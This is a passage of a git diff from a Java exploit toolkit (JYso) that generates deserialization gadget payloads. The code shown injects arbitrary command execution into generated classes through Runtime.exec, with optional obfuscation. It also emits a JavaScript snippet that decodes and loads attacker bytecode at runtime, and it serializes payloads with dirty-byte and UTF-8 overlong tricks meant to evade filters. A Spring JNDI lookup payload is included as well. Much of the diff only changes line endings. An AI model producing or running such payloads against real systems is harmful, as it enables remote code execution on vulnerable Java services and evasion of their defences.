TemplatesImpl gadgets with a SecurityManager enabled + System.setProperty(DESERIALIZE_TRANSLET, "true"); + + // for RMI remote loading + System.setProperty("java.rmi.server.useCodebaseOnly", "false"); + + try { + // 兼容不同 JDK 版本 + if (Boolean.parseBoolean(System.getProperty("properXalan", "false")) || FORCE_USING_ORG_APACHE_TEMPLATESIMPL) { + TPL_CLASS = Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"); + ABST_TRANSLET = Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"); + TRANS_FACTORY = Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl"); + } + } catch (Exception ignored) { + } + } + + + public static InvocationHandler createMemoizedInvocationHandler(final Map map) throws Exception { + return (InvocationHandler) Reflections.getFirstCtor(ANN_INV_HANDLER_CLASS).newInstance(Override.class, map); + } + + public static Object createTemplatesImpl(String command) throws Exception { + command = command.trim(); + + // 支持单双引号 + if (command.startsWith("'") || command.startsWith("\"")) { + command = command.substring(1, command.length() - 1); + } + + CtClass ctClass; + byte[] classBytes = new byte[0]; + String newClassName = generateClassName(); + + + final Object templates = TPL_CLASS.newInstance(); + POOL.insertClassPath(new ClassClassPath(ABST_TRANSLET)); + POOL.get(ABST_TRANSLET.getName()); + + // 扩展功能 + if (command.startsWith("LF-")) { + ctClass = generateClass(command, newClassName); + } else { + // 普通的命令执行 + if (IS_OBSCURE) { + ctClass = POOL.makeClass(newClassName); + insertCMD(ctClass); + CtConstructor ctConstructor = new CtConstructor(new CtClass[]{}, ctClass); + ctConstructor.setBody("{execCmd(\"" + command + "\");}"); + ctClass.addConstructor(ctConstructor); + } else { + // 最短化 + ctClass = POOL.makeClass(newClassName); + CtConstructor ctConstructor = new CtConstructor(new CtClass[]{}, ctClass); + ctConstructor.setBody("{Runtime.getRuntime().exec(\"" + command + "\");}"); + ctClass.addConstructor(ctConstructor); + } + } + + // 如果全局配置继承,再设置父类 + if (IS_INHERIT_ABSTRACT_TRANSLET) { + if (ctClass != null) { + shrinkBytes(ctClass); + } + + // 如果 payload 自身有父类,则使用 ClassLoaderTemplate 加载 + // 否则直接设置父类 + if (ctClass != null && !"java.lang.Object".equals(ctClass.getSuperclass().getName())) { + ctClass = Utils.encapsulationByClassLoaderTemplate(ctClass.toBytecode()); + } + } + + // 按需保存文件 + saveCtClassToFile(ctClass); + if (ctClass != null) { + classBytes = ctClass.toBytecode(); + } + + // 加载 class 试试 +// loadClassTest(classBytes, ctClass.getName()); + + // 写入前将 classBytes 中的类标识设为 JDK 1.6 的版本号 + classBytes[7] = 49; + + // 恶意类是否继承 AbstractTranslet + if (IS_INHERIT_ABSTRACT_TRANSLET) { + Reflections.setFieldValue(templates, "_bytecodes", new byte[][]{classBytes}); + } else { + CtClass newClass = POOL.makeClass(generateClassName()); + insertField(newClass, "serialVersionUID", "private static final long serialVersionUID = 8207363842866235160L;"); + + Reflections.setFieldValue(templates, "_bytecodes", new byte[][]{classBytes, newClass.toBytecode()}); + // 当 _transletIndex >= 0 且 classCount 也就是生成类的数量大于 1 时,不需要继承 AbstractTranslet + Reflections.setFieldValue(templates, "_transletIndex", 0); + } + + // required to make TemplatesImpl happy + Reflections.setFieldValue(templates, "_name", "anyStr"); + Reflections.setFieldValue(templates, "_tfactory", TRANS_FACTORY.newInstance()); + return templates; + } + + public static String createClassT(String command) throws Exception { + command = command.trim(); + + // 支持单双引号 + if (command.startsWith("'") || command.startsWith("\"")) { + command = command.substring(1, command.length() - 1); + } + + CtClass ctClass; + String newClassName = generateClassName(); + + POOL.insertClassPath(new ClassClassPath(ABST_TRANSLET)); + POOL.get(ABST_TRANSLET.getName()); + + // 扩展功能 + if (command.startsWith("LF-")) { + ctClass = generateClass(command, newClassName); + } else { + // 普通的命令执行 + if (IS_OBSCURE) { + ctClass = POOL.makeClass(newClassName); + insertCMD(ctClass); + CtConstructor ctConstructor = new CtConstructor(new CtClass[]{}, ctClass); + ctConstructor.setBody("{execCmd(\"" + command + "\");}"); + ctClass.addConstructor(ctConstructor); + } else { + // 最短化 + ctClass = POOL.makeClass(newClassName); + CtConstructor ctConstructor = new CtConstructor(new CtClass[]{}, ctClass); + ctConstructor.setBody("{Runtime.getRuntime().exec(\"" + command + "\");}"); + ctClass.addConstructor(ctConstructor); + } + } + + // 如果全局配置继承,再设置父类 + if (IS_INHERIT_ABSTRACT_TRANSLET) { + if (ctClass != null) { + shrinkBytes(ctClass); + } + + // 如果 payload 自身有父类,则使用 ClassLoaderTemplate 加载 + // 否则直接设置父类 + if (ctClass != null && !"java.lang.Object".equals(ctClass.getSuperclass().getName())) { + ctClass = Utils.encapsulationByClassLoaderTemplate(ctClass.toBytecode()); + } + } + + byte[] bytes = null; + if (ctClass != null) { + bytes = ctClass.toBytecode(); + } + String classCode = Base64.getEncoder().encodeToString(bytes); + //System.out.println("Base64 Encoded CtClass: " + classCode); + if (ctClass != null) { + ctClass.detach(); + } + + if (ctClass != null) { + return "var bytes = org.apache.tomcat.util.codec.binary.Base64.decodeBase64('" + classCode + "');\n" + + "var classLoader = java.lang.Thread.currentThread().getContextClassLoader();\n" + + "try{\n" + + " var clazz = classLoader.loadClass('" + ctClass.getName() + "');\n" + + " clazz.newInstance();\n" + + "}catch(err){\n" + + " var method = java.lang.ClassLoader.class.getDeclaredMethod('defineClass', ''.getBytes().getClass(), java.lang.Integer.TYPE, java.lang.Integer.TYPE);\n" + + " method.setAccessible(true);\n" + + " var clazz = method.invoke(classLoader, bytes, 0, bytes.length);\n" + + " clazz.newInstance();\n" + + "};"; + } + return newClassName; + } + + public static String createClassB(String command) throws Exception { + command = command.trim(); + + // 支持单双引号 + if (command.startsWith("'") || command.startsWith("\"")) { + command = command.substring(1, command.length() - 1); + } + + CtClass ctClass; + String newClassName = generateClassName(); + + POOL.insertClassPath(new ClassClassPath(ABST_TRANSLET)); + POOL.get(ABST_TRANSLET.getName()); + + // 扩展功能 + if (command.startsWith("LF-")) { + ctClass = generateClass(command, newClassName); + } else { + // 普通的命令执行 + if (IS_OBSCURE) { + ctClass = POOL.makeClass(newClassName); + insertCMD(ctClass); + CtConstructor ctConstructor = new CtConstructor(new CtClass[]{}, ctClass); + ctConstructor.setBody("{execCmd(\"" + command + "\");}"); + ctClass.addConstructor(ctConstructor); + } else { + // 最短化 + ctClass = POOL.makeClass(newClassName); + CtConstructor ctConstructor = new CtConstructor(new CtClass[]{}, ctClass); + ctConstructor.setBody("{Runtime.getRuntime().exec(\"" + command + "\");}"); + ctClass.addConstructor(ctConstructor); + } + } + + // 如果全局配置继承,再设置父类 + if (IS_INHERIT_ABSTRACT_TRANSLET) { + if (ctClass != null) { + shrinkBytes(ctClass); + } + + // 如果 payload 自身有父类,则使用 ClassLoaderTemplate 加载 + // 否则直接设置父类 + if (ctClass != null && !"java.lang.Object".equals(ctClass.getSuperclass().getName())) { + ctClass = Utils.encapsulationByClassLoaderTemplate(ctClass.toBytecode()); + } + } + + String className = null; + if (ctClass != null) { + className = ctClass.getName(); + } + if (ctClass != null) { + ctClass.writeFile(); + } + + //writeClassToFile(className, ctClass.toBytecode()); + + return className; + } + + public static HashMap maskmapToString(Object o1, Object o2) throws Exception { + Map tHashMap1 = (Map) Reflections.createWithoutConstructor("javax.swing.UIDefaults$TextAndMnemonicHashMap"); + Map tHashMap2 = (Map) Reflections.createWithoutConstructor("javax.swing.UIDefaults$TextAndMnemonicHashMap"); + tHashMap1.put(o1, null); + tHashMap2.put(o2, null); + Reflections.setFieldValue(tHashMap1, "loadFactor", 1); + Reflections.setFieldValue(tHashMap2, "loadFactor", 1); + HashMap hashMap = new HashMap<>(); + Class node = Class.forName("java.util.HashMap$Node"); + Constructor constructor = node.getDeclaredConstructor(int.class, Object.class, Object.class, node); + constructor.setAccessible(true); + Object node1 = constructor.newInstance(0, tHashMap1, "Unam4", null); + Object node2 = constructor.newInstance(0, tHashMap2, "SpringKill", null); + Reflections.setFieldValue(hashMap, "size", 2); + Object arr = Array.newInstance(node, 2); + Array.set(arr, 0, node1); + Array.set(arr, 1, node2); + Reflections.setFieldValue(hashMap, "table", arr); + return hashMap; + } } \ No newline at end of file diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/HexUtils.java b/src/main/java/com/qi4l/JYso/gadgets/utils/HexUtils.java index 6fcb768..c197259 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/utils/HexUtils.java +++ b/src/main/java/com/qi4l/JYso/gadgets/utils/HexUtils.java @@ -1,34 +1,34 @@ -package com.qi4l.JYso.gadgets.utils; - -import java.io.EOFException; -import java.io.IOException; -import java.io.InputStream; - -public class HexUtils { - - public static byte[] toByteArray(InputStream in) throws IOException { - byte[] classBytes; - classBytes = new byte[in.available()]; - int bytesRead = in.read(classBytes); - if (bytesRead == -1) { - throw new EOFException("流已结束,未读取到数据"); - } - in.close(); - return classBytes; - } - - public static String bytesToHexString(byte[] bArray, int length) { - StringBuilder sb = new StringBuilder(length); - - for (int i = 0; i < length; ++i) { - String sTemp = Integer.toHexString(255 & bArray[i]); - if (sTemp.length() < 2) { - sb.append(0); - } - - sb.append(sTemp.toUpperCase()); - } - return sb.toString(); - } - -} +package com.qi4l.JYso.gadgets.utils; + +import java.io.EOFException; +import java.io.IOException; +import java.io.InputStream; + +public class HexUtils { + + public static byte[] toByteArray(InputStream in) throws IOException { + byte[] classBytes; + classBytes = new byte[in.available()]; + int bytesRead = in.read(classBytes); + if (bytesRead == -1) { + throw new EOFException("流已结束,未读取到数据"); + } + in.close(); + return classBytes; + } + + public static String bytesToHexString(byte[] bArray, int length) { + StringBuilder sb = new StringBuilder(length); + + for (int i = 0; i < length; ++i) { + String sTemp = Integer.toHexString(255 & bArray[i]); + if (sTemp.length() < 2) { + sb.append(0); + } + + sb.append(sTemp.toUpperCase()); + } + return sb.toString(); + } + +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/InjShell.java b/src/main/java/com/qi4l/JYso/gadgets/utils/InjShell.java index d070836..72f19f9 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/utils/InjShell.java +++ b/src/main/java/com/qi4l/JYso/gadgets/utils/InjShell.java @@ -1,73 +1,73 @@ -package com.qi4l.JYso.gadgets.utils; - -import com.qi4l.JYso.gadgets.Config.Config; -import javassist.*; -import org.apache.logging.log4j.Logger; -import org.apache.logging.log4j.LogManager; - -import static com.qi4l.JYso.gadgets.Config.Config.POOL; - -public class InjShell { - - private static final Logger log = LogManager.getLogger(InjShell.class); - - // 恶心一下人,实际没用 - public static String converString(String target) { - if (Config.IS_OBSCURE) { - StringBuilder result = new StringBuilder("new String(new byte[]{"); - byte[] bytes = target.getBytes(); - for (byte aByte : bytes) { - result.append(aByte).append(","); - } - return result.substring(0, result.length() - 1) + "})"; - } - - return "\"" + target + "\""; - } - - public static void insertField(CtClass ctClass, String fieldName, String fieldCode) throws Exception { - ctClass.defrost(); - try { - CtField ctSUID = ctClass.getDeclaredField(fieldName); - ctClass.removeField(ctSUID); - } catch (javassist.NotFoundException ignored) { - } - ctClass.addField(CtField.make(fieldCode, ctClass)); - } - - public static CtClass insertField(String fieldName, String fieldCode) throws Exception { - POOL.insertClassPath(new ClassClassPath(Class.forName(fieldName))); - final CtClass ctClass = POOL.get(fieldName); - try { - insertField(ctClass, fieldName, fieldCode); - return ctClass; - } catch (javassist.bytecode.DuplicateMemberException ignored) { - return ctClass; - } - } - - //类加载方式,因类而异 - public static String injectClass(Class clazz) { - - String classCode = null; - try { - //获取base64后的类 - classCode = Utils.getClassCode(clazz); - - } catch (Exception e) { - log.error("e: ", e); - } - - return "var bytes = org.apache.tomcat.util.codec.binary.Base64.decodeBase64('" + classCode + "');\n" + - "var classLoader = java.lang.Thread.currentThread().getContextClassLoader();\n" + - "try{\n" + - " var clazz = classLoader.loadClass('" + clazz.getName() + "');\n" + - " clazz.newInstance();\n" + - "}catch(err){\n" + - " var method = java.lang.ClassLoader.class.getDeclaredMethod('defineClass', ''.getBytes().getClass(), java.lang.Integer.TYPE, java.lang.Integer.TYPE);\n" + - " method.setAccessible(true);\n" + - " var clazz = method.invoke(classLoader, bytes, 0, bytes.length);\n" + - " clazz.newInstance();\n" + - "};"; - } +package com.qi4l.JYso.gadgets.utils; + +import com.qi4l.JYso.gadgets.Config.Config; +import javassist.*; +import org.apache.logging.log4j.Logger; +import org.apache.logging.log4j.LogManager; + +import static com.qi4l.JYso.gadgets.Config.Config.POOL; + +public class InjShell { + + private static final Logger log = LogManager.getLogger(InjShell.class); + + // 恶心一下人,实际没用 + public static String converString(String target) { + if (Config.IS_OBSCURE) { + StringBuilder result = new StringBuilder("new String(new byte[]{"); + byte[] bytes = target.getBytes(); + for (byte aByte : bytes) { + result.append(aByte).append(","); + } + return result.substring(0, result.length() - 1) + "})"; + } + + return "\"" + target + "\""; + } + + public static void insertField(CtClass ctClass, String fieldName, String fieldCode) throws Exception { + ctClass.defrost(); + try { + CtField ctSUID = ctClass.getDeclaredField(fieldName); + ctClass.removeField(ctSUID); + } catch (javassist.NotFoundException ignored) { + } + ctClass.addField(CtField.make(fieldCode, ctClass)); + } + + public static CtClass insertField(String fieldName, String fieldCode) throws Exception { + POOL.insertClassPath(new ClassClassPath(Class.forName(fieldName))); + final CtClass ctClass = POOL.get(fieldName); + try { + insertField(ctClass, fieldName, fieldCode); + return ctClass; + } catch (javassist.bytecode.DuplicateMemberException ignored) { + return ctClass; + } + } + + //类加载方式,因类而异 + public static String injectClass(Class clazz) { + + String classCode = null; + try { + //获取base64后的类 + classCode = Utils.getClassCode(clazz); + + } catch (Exception e) { + log.error("e: ", e); + } + + return "var bytes = org.apache.tomcat.util.codec.binary.Base64.decodeBase64('" + classCode + "');\n" + + "var classLoader = java.lang.Thread.currentThread().getContextClassLoader();\n" + + "try{\n" + + " var clazz = classLoader.loadClass('" + clazz.getName() + "');\n" + + " clazz.newInstance();\n" + + "}catch(err){\n" + + " var method = java.lang.ClassLoader.class.getDeclaredMethod('defineClass', ''.getBytes().getClass(), java.lang.Integer.TYPE, java.lang.Integer.TYPE);\n" + + " method.setAccessible(true);\n" + + " var clazz = method.invoke(classLoader, bytes, 0, bytes.length);\n" + + " clazz.newInstance();\n" + + "};"; + } } \ No newline at end of file diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/JavaVersion.java b/src/main/java/com/qi4l/JYso/gadgets/utils/JavaVersion.java index 7b02e9d..3f30f24 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/utils/JavaVersion.java +++ b/src/main/java/com/qi4l/JYso/gadgets/utils/JavaVersion.java @@ -1,40 +1,40 @@ -package com.qi4l.JYso.gadgets.utils; - -public class JavaVersion { - - public int major; - - public int minor; - - public int update; - - - public static JavaVersion getLocalVersion() { - String property = System.getProperties().getProperty("java.version"); - if (property == null) { - return null; - } - JavaVersion v = new JavaVersion(); - String[] parts = property.split("[._\\-]"); - int start = "1".equals(parts[0]) ? 1 : 0; // skip "1." prefix - v.major = Integer.parseInt(parts[start]); - v.minor = Integer.parseInt(parts[start + 1]); - v.update = Integer.parseInt(parts[start + 2]); - return v; - } - - public static boolean isAnnInvHUniversalMethodImpl() { - JavaVersion v = JavaVersion.getLocalVersion(); - return v != null && (v.major < 8 || (v.major == 8 && v.update <= 71)); - } - - public static boolean isBadAttrValExcReadObj() { - JavaVersion v = JavaVersion.getLocalVersion(); - return v != null && (v.major > 8 && v.update >= 76); - } - - public static boolean isAtLeast(int major) { - JavaVersion v = JavaVersion.getLocalVersion(); - return v != null && v.major >= major; - } -} +package com.qi4l.JYso.gadgets.utils; + +public class JavaVersion { + + public int major; + + public int minor; + + public int update; + + + public static JavaVersion getLocalVersion() { + String property = System.getProperties().getProperty("java.version"); + if (property == null) { + return null; + } + JavaVersion v = new JavaVersion(); + String[] parts = property.split("[._\\-]"); + int start = "1".equals(parts[0]) ? 1 : 0; // skip "1." prefix + v.major = Integer.parseInt(parts[start]); + v.minor = Integer.parseInt(parts[start + 1]); + v.update = Integer.parseInt(parts[start + 2]); + return v; + } + + public static boolean isAnnInvHUniversalMethodImpl() { + JavaVersion v = JavaVersion.getLocalVersion(); + return v != null && (v.major < 8 || (v.major == 8 && v.update <= 71)); + } + + public static boolean isBadAttrValExcReadObj() { + JavaVersion v = JavaVersion.getLocalVersion(); + return v != null && (v.major > 8 && v.update >= 76); + } + + public static boolean isAtLeast(int major) { + JavaVersion v = JavaVersion.getLocalVersion(); + return v != null && v.major >= major; + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/Reflections.java b/src/main/java/com/qi4l/JYso/gadgets/utils/Reflections.java index 0a6d285..c1905e7 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/utils/Reflections.java +++ b/src/main/java/com/qi4l/JYso/gadgets/utils/Reflections.java @@ -1,90 +1,90 @@ -package com.qi4l.JYso.gadgets.utils; - -import com.nqzero.permit.Permit; -import sun.reflect.ReflectionFactory; - -import java.lang.reflect.*; - -@SuppressWarnings("restriction") -public class Reflections extends ClassLoader { - - public static void setAccessible(AccessibleObject member) { - // quiet runtime warnings from JDK9+ - Permit.setAccessible(member); - } - - public static Field getField(final Class clazz, final String fieldName) { - Field field = null; - try { - field = clazz.getDeclaredField(fieldName); - setAccessible(field); - } catch (NoSuchFieldException ex) { - if (clazz.getSuperclass() != null) - field = getField(clazz.getSuperclass(), fieldName); - } - return field; - } - - public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception { - final Field field = getField(obj.getClass(), fieldName); - field.set(obj, value); - } - - public static Object getFieldValue(final Object obj, final String fieldName) throws Exception { - final Field field = getField(obj.getClass(), fieldName); - return field.get(obj); - } - - public static Constructor getFirstCtor(final String name) throws Exception { - final Constructor ctor = Class.forName(name).getDeclaredConstructors()[0]; - setAccessible(ctor); - return ctor; - } - - public static Object newInstance(String className, Object... args) throws Exception { - return getFirstCtor(className).newInstance(args); - } - - public static Object createWithoutConstructor(String classname) throws ClassNotFoundException, InvocationTargetException, NoSuchMethodException, InstantiationException, IllegalAccessException { - return createWithoutConstructor(Class.forName(classname)); - } - - public static T createWithoutConstructor(Class classToInstantiate) - throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { - return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]); - } - - @SuppressWarnings({"unchecked"}) - public static T createWithConstructor(Class classToInstantiate, Class constructorClass, Class[] consArgTypes, Object[] consArgs) - throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { - Constructor objCons = constructorClass.getDeclaredConstructor(consArgTypes); - setAccessible(objCons); - Constructor sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons); - setAccessible(sc); - return (T) sc.newInstance(consArgs); - } - - public static Method getMethodByClass(Class cs, String methodName, Class[] parameters) { - Method method = null; - while (cs != null) { - try { - method = cs.getDeclaredMethod(methodName, parameters); - method.setAccessible(true); - cs = null; - } catch (Exception e) { - cs = cs.getSuperclass(); - } - } - return method; - } - - public static Object getMethodAndInvoke(Object obj, String methodName, Class[] parameterClass, Object[] parameters) { - try { - java.lang.reflect.Method method = getMethodByClass(obj.getClass(), methodName, parameterClass); - if (method != null) - return method.invoke(obj, parameters); - } catch (Exception ignored) { - } - return null; - } +package com.qi4l.JYso.gadgets.utils; + +import com.nqzero.permit.Permit; +import sun.reflect.ReflectionFactory; + +import java.lang.reflect.*; + +@SuppressWarnings("restriction") +public class Reflections extends ClassLoader { + + public static void setAccessible(AccessibleObject member) { + // quiet runtime warnings from JDK9+ + Permit.setAccessible(member); + } + + public static Field getField(final Class clazz, final String fieldName) { + Field field = null; + try { + field = clazz.getDeclaredField(fieldName); + setAccessible(field); + } catch (NoSuchFieldException ex) { + if (clazz.getSuperclass() != null) + field = getField(clazz.getSuperclass(), fieldName); + } + return field; + } + + public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception { + final Field field = getField(obj.getClass(), fieldName); + field.set(obj, value); + } + + public static Object getFieldValue(final Object obj, final String fieldName) throws Exception { + final Field field = getField(obj.getClass(), fieldName); + return field.get(obj); + } + + public static Constructor getFirstCtor(final String name) throws Exception { + final Constructor ctor = Class.forName(name).getDeclaredConstructors()[0]; + setAccessible(ctor); + return ctor; + } + + public static Object newInstance(String className, Object... args) throws Exception { + return getFirstCtor(className).newInstance(args); + } + + public static Object createWithoutConstructor(String classname) throws ClassNotFoundException, InvocationTargetException, NoSuchMethodException, InstantiationException, IllegalAccessException { + return createWithoutConstructor(Class.forName(classname)); + } + + public static T createWithoutConstructor(Class classToInstantiate) + throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { + return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]); + } + + @SuppressWarnings({"unchecked"}) + public static T createWithConstructor(Class classToInstantiate, Class constructorClass, Class[] consArgTypes, Object[] consArgs) + throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { + Constructor objCons = constructorClass.getDeclaredConstructor(consArgTypes); + setAccessible(objCons); + Constructor sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons); + setAccessible(sc); + return (T) sc.newInstance(consArgs); + } + + public static Method getMethodByClass(Class cs, String methodName, Class[] parameters) { + Method method = null; + while (cs != null) { + try { + method = cs.getDeclaredMethod(methodName, parameters); + method.setAccessible(true); + cs = null; + } catch (Exception e) { + cs = cs.getSuperclass(); + } + } + return method; + } + + public static Object getMethodAndInvoke(Object obj, String methodName, Class[] parameterClass, Object[] parameters) { + try { + java.lang.reflect.Method method = getMethodByClass(obj.getClass(), methodName, parameterClass); + if (method != null) + return method.invoke(obj, parameters); + } catch (Exception ignored) { + } + return null; + } } \ No newline at end of file diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/Serializer.java b/src/main/java/com/qi4l/JYso/gadgets/utils/Serializer.java index 48a0264..ae4aea7 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/utils/Serializer.java +++ b/src/main/java/com/qi4l/JYso/gadgets/utils/Serializer.java @@ -1,237 +1,237 @@ -package com.qi4l.JYso.gadgets.utils; - - -import com.caucho.hessian.io.*; -import com.qi4l.JYso.gadgets.utils.utf8OverlongEncoding.UTF8OverlongObjectOutputStream; -import org.springframework.jndi.support.SimpleJndiBeanFactory; - -import java.io.ByteArrayOutputStream; -import java.io.IOException; -import java.io.ObjectOutputStream; -import java.io.OutputStream; -import java.util.*; -import java.util.concurrent.Callable; - -import static com.qi4l.JYso.gadgets.Config.Config.*; - -@SuppressWarnings({"unused"}) -public class Serializer implements Callable { - public static Boolean globalinline = false; - private final Object object; - - public Serializer(Object object) { - this.object = object; - } - - public static byte[] serialize(final Object obj) throws IOException { - final ByteArrayOutputStream out = new ByteArrayOutputStream(); - serialize(obj, out); - return out.toByteArray(); - } - - public static byte[] serialize(final Object obj, final ByteArrayOutputStream out) throws IOException { - final ObjectOutputStream objOut; - objOut = new ObjectOutputStream(out); - objOut.writeObject(obj); - byte[] bytes = out.toByteArray(); - objOut.close(); - return bytes; - } - - - public static void qi_serialize( - Object obj, - final OutputStream out - ) throws Exception { - final ObjectOutputStream objOut; - - - if (IS_DIRTY_IN_TC_RESET) { - objOut = new SuObjectOutputStream(out); - } else if (IS_UTF_Bypass) { - objOut = new UTF8OverlongObjectOutputStream(out); - } else { - objOut = new ObjectOutputStream(out); - } - - if (BASE64) { - ByteArrayOutputStream out_b64 = new ByteArrayOutputStream(); - ObjectOutputStream objOut_b64 = new ObjectOutputStream(out_b64); - objOut_b64.writeObject(obj); - objOut_b64.flush(); - String base64 = Base64.getEncoder().encodeToString(out_b64.toByteArray()); - System.out.println(base64); - } - objOut.writeObject(obj); - - } - - protected static String writeObject(Class clazz, Map properties) { - return writeObject(clazz.getName(), properties); - } - - protected static String writeObject(String clazz, Map properties) { - return writeObject(clazz, properties, 0); - } - - protected static String writeObject(Class clazz, Map properties, int level) { - return writeObject(clazz.getName(), properties, level); - } - - protected static String writeObject(String clazz, Map properties, int level) { - StringBuilder sb = new StringBuilder(); - sb.append(writeConstructor(clazz, globalinline)); - - if (!properties.isEmpty()) { - int indent = (level + 1) * 2; - for (Map.Entry prop : properties.entrySet()) { - sb.append('\n'); - for (int i = 0; i < indent; i++) { - sb.append(' '); - } - sb.append(prop.getKey()); - sb.append(':').append(' '); - sb.append(prop.getValue()); - } - } - return sb.toString(); - } - - protected static String writeConstructor(String clazz, boolean inline) { - return constructorPrefix(inline) + - clazz; - } - - protected static String constructorPrefix(boolean inline) { - if (!inline) { - return "foo: !"; - } - return "!"; - } - - public static String writeString(String string) { - return '"' + string + '"'; - } - - public static String writeJackJsonObject(Class clazz, Map values) { - return writeJackJsonObject(clazz.getName(), values); - } - - public static String writeJackJsonObject(String type, Map properties) { - StringBuilder sb = new StringBuilder(); - sb.append('['); - sb.append('"').append(type).append('"'); - sb.append(','); - sb.append('{'); - boolean first = true; - for (Map.Entry e : properties.entrySet()) { - if (!first) { - sb.append(','); - } else { - first = false; - } - writeProperty(sb, e.getKey(), e.getValue()); - } - sb.append('}'); - sb.append(']'); - return sb.toString(); - } - - public static void writeProperty(StringBuilder sb, String key, String value) { - sb.append('"').append(key).append('"'); - sb.append(':'); - sb.append(value); - } - - public static String writeCollection(String type, String... values) { - StringBuilder sb = new StringBuilder(); - sb.append('['); - sb.append('"').append(type).append('"'); - sb.append(','); - arrayHandler(sb, values); - sb.append(']'); - return sb.toString(); - } - - public static void arrayHandler(StringBuilder sb, String[] values) { - sb.append('['); - boolean first = true; - for (String val : values) { - if (!first) { - sb.append(','); - } else { - first = false; - } - sb.append(val); - } - sb.append(']'); - } - - public static String makeSpringJndiBeanFactory(String jndiUrl) { - return writeJackJsonObject(SimpleJndiBeanFactory.class, Collections.singletonMap("shareableResources", writeArray(quoteString(jndiUrl)))); - } - - public static String quoteString(String string) { - return '"' + string + '"'; - } - - public static String writeArray(String... elements) { - StringBuilder sb = new StringBuilder(); - arrayHandler(sb, elements); - return sb.toString(); - } - - public byte[] call() throws Exception { - return serialize(object); - } - - public static class SuObjectOutputStream extends ObjectOutputStream { - - public SuObjectOutputStream(OutputStream out) throws IOException { - super(out); - } - - @Override - protected void writeStreamHeader() throws IOException { - super.writeStreamHeader(); - try { - // 写入 - for (int i = 0; i < DIRTY_LENGTH_IN_TC_RESET; i++) { - Reflections.getMethodAndInvoke(Reflections.getFieldValue(this, "bout"), "writeByte", new Class[]{int.class}, new Object[]{TC_RESET}); - } - } catch (Exception e) { - throw new RuntimeException(e); - } - } - } - - public static class NoWriteReplaceSerializerFactory extends SerializerFactory { - - /** - * {@inheritDoc} - * - * @see com.caucho.hessian.io.SerializerFactory#getObjectSerializer(java.lang.Class) - */ - @Override - public com.caucho.hessian.io.Serializer getObjectSerializer(Class cl) throws HessianProtocolException { - return super.getObjectSerializer(cl); - } - - /** - * {@inheritDoc} - * - * @see com.caucho.hessian.io.SerializerFactory#getSerializer(java.lang.Class) - */ - @Override - public com.caucho.hessian.io.Serializer getSerializer(Class cl) throws HessianProtocolException { - com.caucho.hessian.io.Serializer serializer = super.getSerializer(cl); - - if (serializer instanceof WriteReplaceSerializer) { - return UnsafeSerializer.create(cl); - } - return serializer; - } - } - - +package com.qi4l.JYso.gadgets.utils; + + +import com.caucho.hessian.io.*; +import com.qi4l.JYso.gadgets.utils.utf8OverlongEncoding.UTF8OverlongObjectOutputStream; +import org.springframework.jndi.support.SimpleJndiBeanFactory; + +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.io.ObjectOutputStream; +import java.io.OutputStream; +import java.util.*; +import java.util.concurrent.Callable; + +import static com.qi4l.JYso.gadgets.Config.Config.*; + +@SuppressWarnings({"unused"}) +public class Serializer implements Callable { + public static Boolean globalinline = false; + private final Object object; + + public Serializer(Object object) { + this.object = object; + } + + public static byte[] serialize(final Object obj) throws IOException { + final ByteArrayOutputStream out = new ByteArrayOutputStream(); + serialize(obj, out); + return out.toByteArray(); + } + + public static byte[] serialize(final Object obj, final ByteArrayOutputStream out) throws IOException { + final ObjectOutputStream objOut; + objOut = new ObjectOutputStream(out); + objOut.writeObject(obj); + byte[] bytes = out.toByteArray(); + objOut.close(); + return bytes; + } + + + public static void qi_serialize( + Object obj, + final OutputStream out + ) throws Exception { + final ObjectOutputStream objOut; + + + if (IS_DIRTY_IN_TC_RESET) { + objOut = new SuObjectOutputStream(out); + } else if (IS_UTF_Bypass) { + objOut = new UTF8OverlongObjectOutputStream(out); + } else { + objOut = new ObjectOutputStream(out); + } + + if (BASE64) { + ByteArrayOutputStream out_b64 = new ByteArrayOutputStream(); + ObjectOutputStream objOut_b64 = new ObjectOutputStream(out_b64); + objOut_b64.writeObject(obj); + objOut_b64.flush(); + String base64 = Base64.getEncoder().encodeToString(out_b64.toByteArray()); + System.out.println(base64); + } + objOut.writeObject(obj); + + } + + protected static String writeObject(Class clazz, Map properties) { + return writeObject(clazz.getName(), properties); + } + + protected static String writeObject(String clazz, Map properties) { + return writeObject(clazz, properties, 0); + } + + protected static String writeObject(Class clazz, Map properties, int level) { + return writeObject(clazz.getName(), properties, level); + } + + protected static String writeObject(String clazz, Map properties, int level) { + StringBuilder sb = new StringBuilder(); + sb.append(writeConstructor(clazz, globalinline)); + + if (!properties.isEmpty()) { + int indent = (level + 1) * 2; + for (Map.Entry prop : properties.entrySet()) { + sb.append('\n'); + for (int i = 0; i < indent; i++) { + sb.append(' '); + } + sb.append(prop.getKey()); + sb.append(':').append(' '); + sb.append(prop.getValue()); + } + } + return sb.toString(); + } + + protected static String writeConstructor(String clazz, boolean inline) { + return constructorPrefix(inline) + + clazz; + } + + protected static String constructorPrefix(boolean inline) { + if (!inline) { + return "foo: !"; + } + return "!"; + } + + public static String writeString(String string) { + return '"' + string + '"'; + } + + public static String 